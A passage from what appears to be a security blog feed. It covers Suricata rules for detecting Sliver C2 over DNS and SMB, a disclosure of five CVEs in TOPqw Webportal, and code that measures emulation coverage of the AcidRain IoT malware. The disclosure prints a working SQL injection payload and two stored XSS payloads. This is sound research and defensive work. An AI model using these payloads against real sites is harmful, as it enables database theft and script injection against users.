There should be no DNS querys to specific hosts on the internet, neither should they sent “queries” back into the infrastructure. Preferably, it should be only your own DNS server as target for DNS queries or well known public DNS servers.
Query ID isn’t unique.
I observed 0x0100, 0x0200, or 0x0400. DNS query IDs are more or less unique (of course, they will reappear or be reused, but not within seconds), and ideally, there is only one query and one response for the same ID.
High numbers for “Question Count” (QDCOUNT) and “Answer Count” (ANCOUNT).
These counters represent the number of requested hostnames or IP addresses and their corresponding answers. Normally (depending on the DNS implementation), you’d expect either “one” or a very small number when multiple queries are combined. As seen in C2 via WireGuard, the numbers are ridiculously high (15332), which I doubt you’d see in legitimate DNS queries. The same applies to “Answer Count.” ANCOUNT does not have to match QDCOUNT; depending on whether NXDOMAIN is returned or multiple entries exist for the same hostname (as with MX records), discrepancies are common. However, the number here is unbelievably high too (1928).
Empty Query Name (QNAME).
As you may notice, the query name states <Root>, which I believe is a misinterpretation of the set bit. Actually, it’s 00, which you would not see in normal DNS queries, as there should always be a name set. Furthermore, the QNAME field’s first bit represents the length of the actual name.
Empty Query Type (QTYPE).
There is no empty QTYPE, and 0 is simply not in use. You would expect 1 for an A record, 12 for a PTR, and so on.
Non-IN Query Class.
Much like QTYPE, there are a few reserved values, but anything other than IN for the DNS Query Class is suspicious.

Finally, we have a bunch of suspicious values to filter for.
Sounds good, right?
Spoiler: No.
As we mentioned, Wireshark flags these DNS queries as malformed, so will Suricata even detect them as DNS? Rules to match this specific traffic must be written as UDP rules, which makes it a bit complicated. If the traffic is not recognized as DNS, you can’t use the protocol-specific keywords. Instead, you must count the bytes within the packet to look for specific values. This doesn’t sound too bad, but keep in mind that some fields have variable lengths, making it nearly impossible to write rules based on many of the distinctive characteristics we found for Sliver’s WireGuard.

However, some earlier fields in the UDP payload are not variable and are always set properly. For example, a rule might look like this:

alert udp any any -> any 53 (msg:"Sliver: Possible DNS Tunnel detected, re-use of suspicious dns.id 0400";

content:"|04 00|"; offset:0; depth:2;

threshold:type both, track by_src, count 5, seconds 60;

classtype:trojan-activity; sid:10000027; rev:1;)

As you can see, within the UDP packet’s payload, starting at offset 0 (the beginning of the payload) and extending to a depth of two bytes, we check for 04 00, the suspicious DNS Query ID. To avoid mismatches in any UDP packet, we also use a threshold. As seen in C2 via WireGuard 04 00 appears most often.

SMB

The SMB traffic did not show anything suspicious; the traffic appears as you would expect. But do you know how the communication is implemented? It’s pretty simple: over named pipes and interprocess communication (IPC).

C2 via SMB

In my opinion, this is one of the noisiest ways to perform C2 for several reasons. First, there should be no illogical SMB traffic inside your network (e.g., due to firewall blocks), especially via IPC. Second, named pipes in general are heavily inspected by EDR solutions.

As more of a showcase than a practical detection, we wrote the following rule to detect when IPC is used:

alert smb any any -> any 445 (msg:"SMB Tree Connect Request to IPC$ detected";

smb.named_pipe; content:"IPC"; nocase;

sid:10000040; rev:1;)

You can also implement a more general detection rule that checks for suspicious names used in named pipes, such as psexec (the default name for psexec). For reference, you may consult this GitHub list, which includes more suspicious names.

DNS

DNS is one of the most essential network protocols, responsible for resolving names to addresses. Ever heard of major internet outages? Most of the time, it’s either a cable damage or DNS issues.

There are different types of DNS resource records (RR), for example:

A (maps a domain name to an IPv4 address)
MX (points to a domain’s mail server address)

As a quick recap, this is how DNS queries work:

The client sends a DNS query to its resolver (typically specified in the network interface settings, often the same as the default gateway).
The resolver checks if the queried name is in its cache.
If not, the resolver sends a query for the authoritative name server (NS) of the queried domain to the NS root server responsible for the queried top-level domain (like .de for Germany).
The NS root server responds to the resolver.
The resolver queries the authoritative NS for the original query and sends the answer back to the client.

DNS became one of the most fascinating protocols I’ve explored, especially when abused for C2. In simple terms, the communication is hidden within the DNS requests and responses.

C2 via DNS

I’m not entirely sure if the query (5724015bf0ece4379bcf010016e5210323.see-two.xyz: type TXT, class IN) is also part of the communication or if it depends on the implementation of the tool or framework used. My guess is that the query changes every time so the DNS server (8.8.4.4) cannot deliver cached entries. For every query, the authoritative NS is contacted by the DNS server (in this case, the C2 server). At the very least, the DNS answer is abused to share data (b12c015bf0274b170a46c3ffff52cc7b96).

DNS is not a protocol designed to share large amounts of data. In fact, it’s pretty inefficient because a high volume of “queries” and “answers” is required. As shown in the following plot, roughly seven to eight requests occur every second during interaction with the beacon:

C2 via DNS - Query plot

For future reference, here’s the statistics overview of the same pcap:

C2 via DNS - Statistics

Summarizing Key Indicators of Suspicious Behavior

There are several indicators pointing to suspicious activity. It’s hard to determine if it’s C2 or data exfiltration, but from my perspective, such anomalies (even if they fit within protocol parameters) should be monitored:

High count of DNS queries.
In a timeframe of about 600 seconds, 1,300 queries were sent—an average of 2 queries per second. However, as shown in the C2 via DNS - Query plot, there are bursts for some minutes, resulting in up to 8 requests per second, which is highly unusual for a single client.
Unusual RR derivation.
Looking at the “query type” section in C2 via DNS - Statistics, you’ll notice the presence of only CNAME, MX and TXT records. Additionally, the quantities of these RRs are nearly identical. Normally, one would expect A or AAAA records to dominate, with only a few other RRs.
Strange and changing subdomains.
As mentioned earlier, the subdomain may be part of the communication channel, changing with every request. While this prevents caching (and isn’t inherently suspicious), the names are not human-readable and appear to be scrambled hex text.
Suspicious answer data.
The DNS responses seem to contain scrambled hex text, deviating from typical DNS behavior.
Suspicious answer data length.
While normal DNS responses vary in length, the observed answers frequently approach the maximum allowed length of 255 characters (239 was the maximum observed).

Unfortunately, not all indicators can be directly translated into Suricata rules. Some require additional correlation logic, either through LUA scripting or third-party tools. However, for the following scenarios, we created Suricata rules:

(1) High volume of DNS queries per host
This rule detects DNS queries (dns.opcode:0), combined with a threshold for a single source.
(2) Long DNS query length (suspiciously long subdomains)
This rule is similar to the first but also checks if the query length exceeds 25 characters. Based on real-world data, you may need to fine-tune this rule to avoid false positives. (For context, the smallest query we observed was 46 characters, so there’s some flexibility here.)
(3) Suspicious answer data length
Unlike the other two rules, this rule’s threshold observes data per destination. In my lab, responses exceeding 100 bytes triggered no false positives. However, if the answer includes multiple MX records, this limit can be easily exceeded. Thresholding and fine-tuning are likely required for practical use.

(1)
alert dns any any -> any 53 (msg:"Multiple Huge amount of DNS-Queries possibel C2-Channel or exfiltration detected";

dns.opcode:0;
threshold:type both, track by_src, count 30, seconds 60;

sid:1000020; rev:1;)


(2)
alert dns any any -> any 53 (msg:"Multiple DNS Query Length exceeds 25 characters, possible C2-Channel or exfiltration detected";

dns.opcode:0; dns.query; bsize:>25;
threshold:type both, track by_src, count 10, seconds 60;

sid:1000021; rev:1;)


(3)
alert dns any 53 -> any any (msg:"Multiple DNS Answer to single Host exceeds 100 Byte, possible C2-Channel detected";

dsize:>=100;
threshold:type both, track by_dst, count 10, seconds 60;

sid:1000022; rev:1;)

Conclusion

So, diving back up, let’s summarize what we found in the lab.

What did we want to show with this blog post?

We want to show that Wireshark doesn’t byte (yes, that’s intentionally written like that).
We want to demonstrate how C2 communication is implemented across different protocols and where it might appear.

What do we learn from this?

ET Open did not detect much of the intentionally generated C2 traffic. This may depend on the tool or C2 framework used, so these results may vary. You may notice that we pointed out many suspicious characteristics within the sniffed traffic, but not all of them can be directly used to create Suricata rules. Either they would result in a large number of false positives (which we definitely want to avoid), or you would need to rely on LUA scripting or third-party tools to handle the necessary correlations.

Encrypted traffic also poses a significant challenge since we can’t look inside it. To address this, you would either need to intercept it (if feasible) or implement (statistical-based) anomaly detection. Alternatively, you could verify elements like JA3S hashes against CTI.

Let’s not forget that tools like Suricata are not solutions in themselves; they are tools to solve problems. (Shoutout to Landi, from whom I borrowed this proverb.) Personally, I believe there should be a ruleset for detecting unusual anomalies like the ones I highlighted in the DNS section. Staying on the topic of DNS, I noticed that all detection rules in ET Open focused on explicit domain names. Not a single rule examined packet sizes or similar characteristics.

Additionally, we think detection rules should be fed from diverse sources:

A solid ruleset that is “always there” and regularly updated,
Your own research, as we conducted in the lab,
Community or threat research blog posts that can be leveraged to detect malicious behavior.

If you’ve made it all the way here, you have my respect, because this blog post turned out to be a bit longer than initially planned - who could have guessed?
Again, you’ll find the Suricata rules we created on GitHub, which is a repository within the G DATA Advanced Analytics organization.

Kind regards, Andreas

Harvesting the Database - 5 CVEs in TOPqw Webportal

Mon, 11 Nov 2024 14:00:00 +0000

TOPqw Webportal is a web application developed by bit baltic information technologies GmbH for social service providers such as local authorities. It can be used to publicly view information about various facilities. For providers and their facilities, there is a login-protected area in which services can be adjusted, statistics viewed and various documents exchanged.

The software is used by over 12 federal states all over Germany and the application stores sensitive personal information about citizens as well as confidential documents such as applications for social matters.

As part of two penetration tests G DATA ADAN conducted, we identified some partly critical vulnerabilities and for five of the found vulnerabilities we applied for and received CVEs.

bit baltic information technologies GmbH reacted quickly when notified of the vulnerabilities and fixed them immediately. GD ADAN followed the principles of Responsible Disclosure when releasing the CVEs.

Overview of the CVEs

CVE Number	Name	Severity
CVE-2024-45876	Unauthenticated SQL Injection	Critical
CVE-2024-45875	Authenticated SQL Injection	High
CVE-2024-45877	Broken Access Control	High
CVE-2024-45879	Stored Cross-Site Scripting (XSS) in “QWKalkulation”	Medium
CVE-2024-45878	Stored Cross-Site Scripting (XSS) in “Stammdaten”	Medium

CVEs in Detail

Unauthenticated SQL Injection (CVE-2024-45876)

The login form of baltic-it TOPqw Webportal v1.35.283.2 in /Apps/TOPqw/Login.aspx is vulnerable to SQL injection. The vulnerability exists in the POST parameter txtUsername, which allows the manipulation of SQL queries. By exploiting this, it was possible to gain complete access over the database.

Finding the SQL injection was actually quite simple. If a single quote (‘) was used in the username during the login, an SQL error message was returned. Figure 01 shows such a request using Test as the username. The response contains a StackTrace with the SQL error message.

Thefore, this can be considered an error-based SQL injection. sqlmap was used to easily prove exploitability. Figure 02 shows a portion of the sqlmap enumerations. In addition to names, addresses, email addresses, and hashed passwords, files stored in the database could be accessed. However, it was not possible to achieve remote code execution (xp_cmdshell was deactivated 😔) or write files to the server.

Authenticated SQL Injection (CVE-2024-45875)

The SaveNewUser function in TOPqw Webportal v1.35.287.1 in /Apps/TOPqw/BenutzerManagement.aspx/SaveNewUser, is vulnerable to an authenticated SQL injection. The JSON object Username allows the manipulation of SQL queries. By exploiting this, it was possible to gain complete access over the database.

If an administrative user creates a new user in the TOPqw Webportal and enters a single quote (‘) into the value of the JSON object Username, a 500 HTTP Error is returned. To illustrate this, the payload 'foobar123456 was used in the JSON object, as can be seen in Figure 03:

Figure 03: The single quote disrupts the SQL syntax and therefore returns a server-side error

The single quote breaks out of the syntax of the current SQL query and this generates a server-side error. The existence of the vulnerability can be verified by the fact that if the same value with two single quotes (“) is inserted at the beginning of the username, the application responds with a 200 HTTP and successfully creates the new user. For demonstration purposes, the payload ''foobar123456 was used for this, as shown in Figure 04:

Figure 04: Two single quotes preserve the syntax of the SQL query and no error occurs

This is due to the fact that two single quotes preserve the syntax of the SQL query and no error occurs. This demonstrates typical behavior of a SQL injection vulnerability.

After detailed investigation, a time-based blind SQL injection vulnerability was identified in this function. For easy exploitation of the vulnerability, the tool sqlmap was used. Figure 05 shows the output of sqlmap with the malicious payload that was used to detect the vulnerability:

Figure 05: Exploitation of the time-based blind SQL Injection using sqlmap

As can be seen in the output, sqlmap used the following payload to verify the vulnerability:

"Username":"123' AND 2867=(SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) AND 'Zfbu'='Zfbu"

Let’s take a deep dive into understanding this payload. This time-based blind SQL injection payload consists of the following components:

Explanation of the Components:

123':
- The single quote (') is intended to close a previous SQL string or value, allowing us to inject our own SQL code.
AND 2867=(SELECT COUNT(*) FROM sysusers AS sys1, sysusers AS sys2, sysusers AS sys3, sysusers AS sys4, sysusers AS sys5, sysusers AS sys6, sysusers AS sys7):
- This condition checks whether the value 2867 matches the result of the following SELECT COUNT(*) expression.
- The query counts the combinations of all rows in the system table sysusers by using multiple aliases (sys1 through sys7).
- By using COUNT(*) with multiple joins across the aliases of the sysusers table, the query calculates a large number of combinations. If the database configuration and the number of users in sysusers produce this value, the condition 2867 = ... will evaluate to TRUE.
AND 'Zfbu'='Zfbu:
- This condition is always true since 'Zfbu' is equal to 'Zfbu'.
- It primarily serves to close the SQL syntax correctly and ensure that the payload is syntactically valid.

As indicated by Figure 05, sqlmap enumerated six different databases and at this point, we were able to extract all data from these databases. In addition to names, addresses, email addresses, and hashed passwords, files stored in the database could be accessed. However, it was not possible to achieve remote code execution (xp_cmdshell was deactivated 😔) or write files to the server.

It is important to emphasize that this vulnerability can only be exploited by authenticated users. Authorized users are known contractual partners of the social authority who had to be explicitly created as users by the social authority.

Broken Access Control (CVE-2024-45877)

The TOPqw Webportal v1.35.283.2 is vulnerable to Broken Access Control in the User Management function in /Apps/TOPqw/BenutzerManagement.aspx. This allows a low privileged user to access all modules in the web portal, view and manipulate information and permissions of other users, lock other users or unlock the own account, change the password of other users, create new users or delete existing users and view, manipulate and delete reference data.

The navigation bar displays only those functions for which a user is authorized. However, all functions can be used by identifying the URL, as there are no server-side authorization checks. This means that any authenticated user can use

/Apps/TOPqw/BenutzerManagement.aspx to view, edit, delete and create users.
/Apps/TOPqw/qwStammdaten.aspx to change social service data, for example to exploit CVE-2024-45878.
/Apps/TOPqw/QWKalkulation/QWKalkulation.aspx to manipulate application information and files, such as replacing files with malicious files, or to exploit CVE-2024-45879.

Similar to CVE-2024-45875, this can only be exploited by authenticated users.

Stored Cross-Site Scripting (XSS) in “QWKalkulation” (CVE-2024-45879)

The file upload function in the QWKalkulation tool of TOPqw Webportal v1.35.287.1 in /Apps/TOPqw/QWKalkulation/QWKalkulation.aspx, is vulnerable to stored Cross-Site Scripting (XSS).

The file names of uploaded files were not validated properly and were inserted in an onclick event handler. This made it possible to add any JavaScript to the event handler. The XSS payload we used for this specific case is the following:

foo',alert('INJECTED'));console.log('

This payload is embedded in the HTML document in the following way as shown in Figure 07:

Figure 7: The XSS payload preserves the syntax of the onclick event handler and pops up an alert box

The foo' terminates the string early, effectively ending the first part of the JavaScript statement in the FiletoDelete function and starting its own. After that follows alert('INJECTED'), which simply triggers an alert dialog box displaying the text INJECTED. The rest of the payload );console.log(' preserves the syntax of the original FiletoDelete function.

This created an alert box for illustration purposes as can be seen in Figure 08:

Figure 8: Successful XSS attack that pops up an alert box when the file is deleted

However, the event handler is only executed if the file containing the XSS payload in its name is deleted. Therefore, it requires some social engineering for a successful exploit. Due to this reason, the risk level was downgraded from High to Medium.

Stored Cross-Site Scripting (XSS) in “Stammdaten” (CVE-2024-45878)

The Stammdaten function of baltic-it TOPqw Webportal v1.35.283.2, in /Apps/TOPqw/qwStammdaten.aspx, is vulnerable to stored Cross-Site Scripting (XSS).

As a countermeasure against XSS, the use of < followed by anything other than a space is prohibited in any modifyable data in the Stammdaten function. In addition, user input is HTML encoded and not included in HTML tags or other potentially vulnerable locations, with one exception. Authenticated users who are authorized to edit data (OR exploit CVE-2024-45877 😉) can specify a URL to a service provider’s website. This URL is inserted into the href attribute of an anchor tag. It is not possible to break out of this attribute because special characters, including quotation marks, are encoded in HTML. However, it has not been considered that JavaScript can be used as a protocol.

Figure 07 shows a simple proof of concept using the payload javascript:alert(document.domain). Unfortunately, as it was not possible to break out of the href attribute, the payload is only executed when a user clicks on the anchor tag. In our experience, the Javascript protocol trick actually works quite often, as it is little known to developers, and although modern web frameworks are good at ensuring that user input is always rendered in HTML-encoded form, this does not prevent the Javascript protocol from being used for XSS payloads.

Figure 07: After clicking the anchor tag, the XSS payload is executed

Remediation

bit baltic information technologies GmbH were cooperating actively with G DATA ADAN and baltic reacted quickly when notified of the vulnerabilities and fixed them immediately.

All of the described vulnerabilities have been fixed in version 1.35.291, released on July 25, 2024, and updated in the production systems of all customers.

Timeline

2024-01-08	Start of first penetration test
2024-01-09	Reported unauthenticated SQL Injection
2024-01-12	Confirmed that unauthenticated SQL Injection is fixed
2024-01-12	End of first penetration test
2024-01-15	Sent the detailed report of the first penetration test
2024-04-03	Start of second penetration test (retests and test of functions that were broken during first penetration test)
2024-04-05	Reported authenticated SQL Injection
2024-04-05	End of second penetration test
2024-04-09	Sent the detailed report of the second penetration test
2024-04-25	Issued first CVE request to MITRE (rejected)
2024-06-21	Issued second CVE request to MITRE (rejected)
2024-07-22	Issued CVE request to other CNA (rejected)
2024-07-25	bit baltic information technologies GmbH remediated all vulnerabilities in version 1.35.291
2024-10-01	Issued third CVE request to MITRE (accepted)

Destructive IoT Malware Emulation – Part 3 of 3 – Statistics

Mon, 14 Oct 2024 16:00:00 +0000

Welcome back to Part 3, the final part of our series on Destructive IoT Malware Emulation. If you’re new here, in Part 1 we described how to set up the environment to emulate the destructive IoT malware, AcidRain. Part 2 explained how and why we hooked some syscalls to fully emulate AcidRain.

Ready for the next big step? We teased in Part 2 that we wanted to see how well the emulation works, but quantitatively.

We already have robust logging for all the syscalls from Qiling itself. Out of personal interest, we wanted additional logging. First, we wanted to log all instructions so we might be able to color the execution path in IDA Pro or Ghidra. Additionally, we wanted a separate log for every process.

Secondly, Qiling has the functionality to create a coverage file by itself, which we can load into IDA Pro or Ghidra.

Sounds cool and fun, right? But as we said before, there’s still a bit to do, so let’s dig into it.

Logging

To begin with, we create a directory for each emulation identified by the timestamp and sample name. Additionally, we create a result file for the entire emulation that contains information of all processes, and this file is named according to the emulation case.

# Create directory for resutls of current emulation
result_path = f"{sys_os.path.dirname(ABSOLUTE_PATH)}/results/{self.timestamp}_{self.binary_name}/"
sys_os.makedirs(result_path, exist_ok=True)

# Create result file for entire emulation
result_path = f"{result_path}results_{self.mtd_type}_{self.root}.json"
open(result_path, 'w').close()

Before we start writing data to a file — which is, by the way, not trivial due to the different processes — we need to collect the data. First, we hook on the code level to collect each instruction address in an array. For each instruction, we check for a syscall with the opcode 0x0000000c. The ID of the syscall is stored in the v0 register in the MIPS architecture. Using this ID, we search for the syscall name in our MIPS syscall table and save this information in an array as well.

def log_syscall_with_id(self, ql: Qiling, address, size, *args, **kwargs) -> None:

    # Get the mips syscall table for translating ids into syscall function names
    mapper = lin.mips_syscall_table

    # Append every instruction address
    ins_address = hex(address)
    if ins_address not in self.instruction_addresses:
        self.instruction_addresses.append(ins_address)

    if ql.mem.read(address, size) == b'\x00\x00\x00\x0c':
        # In case of system call

        syscall_id = ql.arch.regs.read("v0") # stored syscall id
        syscall_name = mapper.get(syscall_id)
        # Create syscall element and append it for results file
        syscall_info = {
            "syscall_num": syscall_id,
            "syscall_name": syscall_name
        }
        if syscall_info not in self.syscalls:
            self.syscalls.append(syscall_info)

We want to write this collected information into our file. For example, one could format it as JSON:

{
    "syscalls": [
        {
            "syscall_num": 4004,
            "syscall_name": "write"
        }
    ],
    "instruction_addresses": [
        "0x4002a0",
        "0x4002a4",
        "0x4002a8",
        "0x4002ac"
    ]
}

With this setup, we have a comprehensive overview and collection of all process information. However, we also want to collect data for each process and write it into both an individual file and a summary file. If we implement it just this way, the consequence is that each process will carry the results of the parent process, leading to duplicated entries.

The idea is to clear the arrays of instructions and syscalls for each new process. The simplest way to achieve this is by using our existing fork hook. When the fork creates a new process, we want to clear these arrays in the child process. This can be done by expanding our fork hook as follows:

        # In case of childprocesses
        if ql.os.child_processes:
            # Clear collected information in child cause parent will keep it
            self.instruction_addresses.clear()
            self.syscalls.clear()

Now, we are creating the result file, locking it, creating the JSON object, and writing it to the result file. The challenging part is that each process needs to write into that file after each emulation.

First, we need to lock the file to ensure no other process can write to it simultaneously.
Then, we need to load the data and append the new data to the loaded data.
Finally, we write the content back to the result file and unlock it.

def generate_result_file(self):
    '''
    Generate resultfile for current emulation. Each process will write its result into the file.
    '''
    # Unique path for each emulation
    result_path = f"{sys_os.path.dirname(ABSOLUTE_PATH)}/results/{self.timestamp}_{self.binary_name}/"
    self.result_path = result_path
    result_file_path = f"{result_path}results_{self.mtd_type}_{self.root}.json"


    with open(result_file_path, 'r+') as file:
        fcntl.flock(file.fileno(), fcntl.LOCK_EX)
        try:
            # Load content of the result file
            existing_data = json.load(file)
        except json.JSONDecodeError:
            # If content is empty, set basic structure
            existing_data = {"syscalls": [], "instruction_addresses": [], "blocks": []}

        # Expand instruction address only in case it's not already in the result file
        for address in self.instruction_addresses:
            if address not in existing_data["instruction_addresses"]:
                existing_data["instruction_addresses"].append(address)
        # Expand syscall only when it does not exist in result file
        for syscall in self.syscalls:
            if syscall not in existing_data["syscalls"]:
                existing_data["syscalls"].append(syscall)

        # Write content back to result file and unlock
        file.seek(0)
        json.dump(existing_data, file, indent=4)
        file.truncate()
        fcntl.flock(file.fileno(), fcntl.LOCK_UN)

Additionally, we can easily create separate log files for each process, which you can find in our Qiliot GitHub project.

Custom IDA Script

To work with our result files, we developed a simple IDA script that marks instructions which were executed and prints out some basic statistics. This is primarily to demonstrate what is possible and to give us a closer look at how well the emulations work. To avoid going too deep into details, we will only explain a few interesting aspects. The plugin collects all virtual addresses of instructions from the .text, .init, and .fini segments.

It is important to note that AcidRain is statically linked malware, which means that all the library functions it uses are included in the sample. Through static analysis, we can determine that the core of AcidRain is between 0x00400310 and 0x004017540. So, we are collecting all addresses of instructions within the AcidRain core. This allows us to see how much of the core was emulated.

Using the results file, the script parses all result files located in our AcidRain result folder and collects all addresses from each emulation case.

START_ACIDRAIN_CORE = 0x00400310
END_ACIDRAIN_CORE = 0x00401740

def collect_core_instrutions(self) -> None:
    '''
    Compares virtual addresses in IDA with the addresses in the results.json file.
    If the addresses from the result file are in the segment of the binary file in IDA,
    self.emu_main_addresses will be extended with this address.
    '''

    next_acidrain_address = START_ACIDRAIN_CORE
    while next_acidrain_address <= END_ACIDRAIN_CORE:
        if next_acidrain_address not in self.main_addresses:
            if idaapi.ua_mnem(next_acidrain_address) is not None:
                self.main_addresses.add(next_acidrain_address)
            
        next_acidrain_address = idc.next_head(next_acidrain_address)

It sounds really simple, but the results can vary if we don’t pay attention to small details. For example, in the MIPS architecture, disassemblers often simplify code such as address calculations, which is also the case for IDA.

Figure 01: Address calculation in MIPS

This means that for the calculation, there might be two instructions, but the compiler condenses it into one.

Figure 02: Simplified code line in MIPS

In IDA, you can turn this setting on or off when you load the sample:

Figure 03: IDA setting for simplifying code in MIPS

The consequence is that in the emulation, two instructions are counted, but in IDA, we only see one. This can and will affect your coverage results. With the code idaapi.ua_mnem(next_acidrain_address), you can retrieve the mnemonic of the instruction. For the second address in this case, the function will return None. Thus, we can disregard this virtual address in the further calculations.

Coverage File

Qiling also provides a plugin to collect code coverage information and save it in the DRCOV format, making the results suitable for further processing or manual viewing. It offers both a command-line interface and an API, making it easy to integrate with your Python scripts.

The idea is to create the coverage file using a with statement and collect all necessary information while ql.run() executes the emulation.

with cov_utils.collect_coverage(ql, 'drcov', "my_coverage_file.cov"):
        ql.run()

However, the result is an incomplete coverage file. Why? As mentioned earlier, AcidRain initiates multiple processes. The coverage functionality does not update the coverage file properly, the outcome: the basic blocks in the DRCOV file are not completed.

To address this, we need to make adjustments for our emulation.

Initializing the Coverage File

The idea is to create our own coverage file generator, which is available in our Qiliot GitHub project.

But first things first. We started by generating a coverage file and opening it in a hex editor to analyze its structure and the information it contains. With that understanding, we proceeded to write our own Qiling coverage Python script. To achieve this, we created a class that initializes the coverage file:

class QiliotCov(QlDrCoverage):
    '''
    Qiliot coverage built on Qiling coverage. 
    This enables to have a coverage file that includes every created process
    '''
    
    def __init__(self, ql, filename):
        '''
        Initialize Qiliot coverage with extanded attributes.
        '''
        super().__init__(ql)
        self.filename = filename
        self._init_file()


    def _init_file(self) -> None:
        '''
        Internal function to initalize the coverage file.
        '''
        with open(self.filename, "wb"):
            pass

Writing the Header

We reversed the coverage file and could see how the header was defined:

DRCOV VERSION: XXX
DRCOV FLAVOR: XXX
Module Table: version XXX, count XXX 
Columns: id, base, end, entry, checksum, timestamp, path
         XXX, XXX, XXX, XXX, XXX, XXX, XXX
BB Table: 00000000 bbs

Note: XXX is a placeholder for the values.

We are writing exactly this header into our coverage file. The necessary values are obtained from the Qiling class QlDrCoverage.

def write_header(self, cov) -> None:
    '''
    Writes the header for the coverage file.
    
    Args: 
        cov: Coverage file which need to be updated.
    '''
    cov.write(f"DRCOV VERSION: {self.drcov_version}\n".encode())
    cov.write(f"DRCOV FLAVOR: {self.drcov_flavor}\n".encode())
    cov.write(f"Module Table: version {self.drcov_version}, count {len(self.ql.loader.images)}\n".encode())
    cov.write("Columns: id, base, end, entry, checksum, timestamp, path\n".encode())
    for mod_id, mod in enumerate(self. ql.loader.images):
        cov.write(f"{mod_id}, {mod.base}, {mod.end}, 0, 0, 0, {mod.path}\n".encode())
    cov.write("BB Table: 000000000 bbs\n".encode())

Writing the Basic Blocks

So, in fact, it’s the same as with our logging files; Each process needs to append its information, and our Qiling coverage needs to write it to a file and clear the basic blocks for the new process.

# Open coverage file
with open(self.filename, "rb+") as cov:
    fcntl.flock(cov.fileno(), fcntl.LOCK_EX)
    if cov.seek(0, os.SEEK_END) == 0:
        # Initalize header in empty file
        self.write_header(cov)
    # Write basic block into file
    for bb in self.basic_blocks:
        cov.write(bytes(bb))

    cov.seek(0, os.SEEK_SET)

Additionally, the header contains the length of the basic blocks, which needs to be updated by adding the collected basic block length to the value that is already present. To do this, we search for the line that starts with BB Table: in the coverage file. After finding it, we get the old length by parsing the value with line[10:19] and the current length with len(self.basic_blocks) and add them together.

With cov.seek(-len(line) + 10, os.SEEK_CUR) we move the file pointer to the correct position and update the length:

while True:
    # Read the file to get needed information in header
    line = cov.readline()
    if not line:
        raise Exception("Coverage file seems to be corrupted.")

    if  line.startswith(b"BB Table:"):
        # Get the BasicBlock header, update length and write basic blocks into the file.
        new_len = int(line[10:19]) + len(self.basic_blocks)
        print(f"filename: {self.filename} Update length from {line[10:19]} to {new_len}", flush=True)
        cov.seek(-len(line) + 10, os.SEEK_CUR)
        cov.write(f"{new_len:09d}".encode())
        break
fcntl.flock(cov.fileno(), fcntl.LOCK_UN)

Admittedly this is quite the hack, but it’s the best you can do in a concurrent scenario such as this.

Now, the output is that we have a coverage file for each emulation case. Okay, but now what? Where are the numbers? Hold on a second — first, let’s explain which plugins you can use.

Results

With the generated coverage file (DRCOV), we can load it into our disassembler of choice. We are working with IDA Pro, but don’t panic—this is also possible in Ghidra. In both cases, we will explain how to load the file into your disassembler, and afterward, we’ll discuss the resulting numbers.

IDA Pro with Lighthouse

To load the coverage file (DROV), the plugin you need is Lighthouse. It is a powerful code coverage explorer for IDA Pro and Binary Ninja. Simply download the files from the repository and place them in your IDA \plugins folder, and you’re good to go.

In IDA, under File -> Load File -> Code coverage file ..., you can load one or more coverage files at once.

With Lighthouse, you have the ability to see instructions highlighted in both the assembler view, disassembler view, and the Path View. You can also see the number of times each basic block was executed within a function, as well as the percentage of instructions executed.

Additionally, you can view the average of all coverage files or compare two coverage files with each other.

Ghidra with Cartographer

For Ghidra, you can use Cartographer — the Code Coverage plugin. The installation requires a few steps, as described in the README:

Launch Ghidra.
Navigate to the Install Extensions window with File -> Install Extensions...
Click the green “+” icon at the top-right corner.
Select the downloaded ZIP file to load the plugin into Ghidra.
Click the “OK” button to exit the Install Extensions window.
Restart Ghidra when prompted.

After installation, you can load the Code Coverage file from the Tools Menu under Tools -> Code Coverage -> Load Code Coverage File(s) .... The functionality is similar to Lighthouse.

Finally the Numbers

All the data in this section will be visualized in IDA Pro using the Lighthouse plugin and our custom plugin.

Results of the Entire Sample

Despite using different parameters in each emulation, the differences in coverage between the scenarios were minimal. For example, whether AcidRain was running with root privileges or not had no significant effect; only the order of execution varied.

Figure 04: Aggregated coverage result of the entire sample

The only notable difference in outcomes was observed when varying the mtd_type (NANDFLASH), as shown in Figure 04.

A more substantial impact on the results comes from the rootfs, which is obvious. We achieved the best results with the rootfs extracted from the original firmware of the modem where AcidRain runs.

Using the rootfs provided by Qiling itself, we achieved less than 2% coverage. We observed around 10% less coverage with a nearly empty rootfs, which is expected since AcidRain deletes directories, unlinks files, and so on. With a rootfs that triggers all of AcidRain’s functionality, we were able to achieve an overall coverage of 73.09%.

Note: AcidRain is statically linked IoT malware. The library functions can be detected with FLIRT and the appropriate signatures. After applying FLIRT, the results may vary slightly, but not significantly.

We found a suitable signature file here: uclibc-sig on GitHub, which can be loaded into IDA Pro. For Ghidra, we found this project: ApplySig on GitHub, which allows you to apply the signature file.

So far, the result is promising but not particularly impressive. What about the remaining 37% of AcidRain? To be fair, not every library function was emulated. For instance, loading and starting the C application weren’t fully covered. Additionally, there is a significant amount of error handling that wasn’t obviously executed, as shown in Figure 05, particularly in the reboot function.

Figure 05: Coverage result of reboot function

Now, let’s take a closer look at the coverage of AcidRain’s core functions.

Results of the Core Function

The core functions of AcidRain are located between the virtual addresses 0x00400310 and 0x00401744. In Figure 06, you can see that nearly every function prefixed with acidRain_ was covered across the four emulation cases.

Figure 06: Coverage result of AcidRain's core function in Lighthouse

Using our results file and the plugin, we can print out how extensively the entire AcidRain malware was emulated, as well as just the core. The following result was obtained:

Figure 07: Coverage of AcidRain's core and the full sample

It’s quite impressive that the AcidRain core was emulated to 96.95% across all four emulation cases. With library functions included, AcidRain was emulated to 73.09%, which is identical to the coverage result from before. The difference between the coverage of the core and the full sample is quite normal because not all library functions were executed or triggered during the emulation.

And that’s it. We hope you enjoyed the blog series about IoT malware emulation and creating a safe dynamic analysis environment. We hope you found it informative and had fun trying it out. Thanks for reading, and stay tuned for more exciting blogs!